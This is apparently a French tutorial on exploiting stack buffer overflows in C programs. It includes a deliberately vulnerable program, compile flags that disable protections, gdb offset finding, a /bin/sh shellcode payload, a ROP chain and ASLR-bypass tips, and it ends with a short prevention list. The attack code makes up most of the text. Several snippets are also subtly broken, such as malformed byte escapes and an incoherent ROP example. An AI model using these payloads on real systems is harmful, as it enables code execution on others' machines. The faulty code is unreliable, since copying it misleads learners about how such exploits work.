Introduction
Ce tutoriel explique comment effectuer une attaque par dépassement de tampon (buffer overflow) pour exploiter des vulnérabilités dans les programmes. Une attaque par dépassement de tampon permet à un attaquant d'exécuter du code arbitraire en écrasant la mémoire allouée au programme. Nous verrons comment identifier et exploiter ces failles, ainsi que des techniques avancées pour échapper aux contre-mesures de sécurité.
Étape 1: Comprendre les Dépassements de Tampon
Les dépassements de tampon se produisent lorsque plus de données sont écrites dans un tampon que celui-ci ne peut en contenir, entraînant l'écrasement des données adjacentes. Cela peut permettre à un attaquant d'exécuter du code arbitraire, d'altérer le flux de contrôle du programme ou de provoquer un crash du programme. Les dépassements de tampon sont souvent exploités dans les programmes écrits en C ou C++.
Étape 2: Préparation de l'Environnement
Installez les outils nécessaires pour identifier et exploiter les vulnérabilités de dépassement de tampon :
sudo apt-get update && sudo apt-get upgrade
sudo apt-get install gcc gdb
Étape 3: Identification d'une Vulnérabilité de Dépassement de Tampon
Pour illustrer une attaque par dépassement de tampon, nous utiliserons un programme vulnérable écrit en C. Voici un exemple de programme vulnérable :
#include <stdio.h>
#include <string.h>
void vulnerable_function(char *input) {
char buffer[64];
strcpy(buffer, input);
printf("Input: %s\n", buffer);
}
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}
vulnerable_function(argv[1]);
return 0;
}
Compilez le programme :
gcc -o vuln_program vuln_program.c -fno-stack-protector -z execstack
Étape 4: Exploitation de la Vulnérabilité
Pour exploiter la vulnérabilité, nous devons créer un payload qui écrasera l'adresse de retour de la fonction vulnerable_function
et exécutera du code malveillant. Nous utiliserons l'outil gdb
pour déterminer l'adresse de retour :
gdb ./vuln_program
(gdb) run $(python -c 'print "A"*72 + "BBBB"')
Notez l'adresse de retour écrasée par "BBBB". Nous devons maintenant remplacer "BBBB" par l'adresse de notre shellcode. Voici un exemple de shellcode pour ouvrir un shell :
shellcode = (
b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53"
b"\x89\xe1\xb0\x0b\xcd\x80"
)
Créez un payload qui inclut le shellcode et l'adresse de retour :
payload = b"A" * 72
payload += b"\xef\xbe\xad\xde" # Adresse de retour (remplacer par l'adresse correcte)
payload += shellcode
with open("payload", "wb") as f:
f.write(payload)
Exécutez le programme vulnérable avec le payload :
./vuln_program $(cat payload)
Techniques Avancées d'Exploitation
Pour rendre l'attaque plus efficace, vous pouvez utiliser des techniques avancées telles que :
- Bypass des protections ASLR (Address Space Layout Randomization): Utilisez des techniques de fuite d'adresses pour contourner l'ASLR.
- Utilisation de ROP (Return-Oriented Programming): Créez des chaînes ROP pour exécuter du code arbitraire sans shellcode.
- Évasion des protections de pile: Désactivez les protections de pile (canaries) pour exploiter la vulnérabilité.
Exemple de chaîne ROP :
rop_chain = [
0x080483e0, # Adresse du gadget 'pop eax; ret'
0xb, # Valeur à charger dans eax (execve syscall)
0x0804841d, # Adresse du gadget 'int 0x80; ret'
]
payload = b"A" * 72
for gadget in rop_chain:
payload += p32(gadget)
payload += shellcode
Exemples Pratiques
Voici trois exemples pratiques pour illustrer l'utilisation des attaques par dépassement de tampon :
Exemple 1: Dépassement de Tampon Basique
Exploitons une vulnérabilité simple pour exécuter un shell :
./vuln_program $(python -c 'print "A"*72 + "\xef\xbe\xad\xde"')
Remplacez \xef\xbe\xad\xde
par l'adresse de votre shellcode.
Exemple 2: Dépassement de Tampon avec ASLR
Utilisez des techniques de fuite d'adresses pour contourner l'ASLR :
gdb ./vuln_program
(gdb) run $(python -c 'print "A"*72 + "BBBB"')
Utilisez les adresses fuitées pour construire votre payload.
Exemple 3: Dépassement de Tampon avec ROP
Utilisez une chaîne ROP pour exécuter du code arbitraire :
payload = b"A" * 72
payload += b"\xef\xbe\xad\xde" # Adresse du gadget 'pop eax; ret'
payload += b"\xb" # Valeur à charger dans eax (execve syscall)
payload += b"\x0804841d" # Adresse du gadget 'int 0x80; ret'
payload += shellcode
Mesures de Prévention
Pour se protéger contre les attaques par dépassement de tampon, envisagez les mesures suivantes :
- Utilisation de langages sécurisés comme Python ou Java.
- Activation des protections de pile (canaries) et des protections de mémoire (NX).
- Utilisation de l'ASLR pour rendre l'exploitation plus difficile.
- Validation et contrôle rigoureux des entrées utilisateur.
- Utilisation d'outils d'analyse statique et dynamique pour détecter les vulnérabilités.
Conclusion
Ce tutoriel vous a montré comment effectuer une attaque par dépassement de tampon. Rappelez-vous, ces informations doivent être utilisées de manière éthique et légale. L'objectif est de sensibiliser aux dangers des attaques par dépassement de tampon et de renforcer la sécurité des programmes.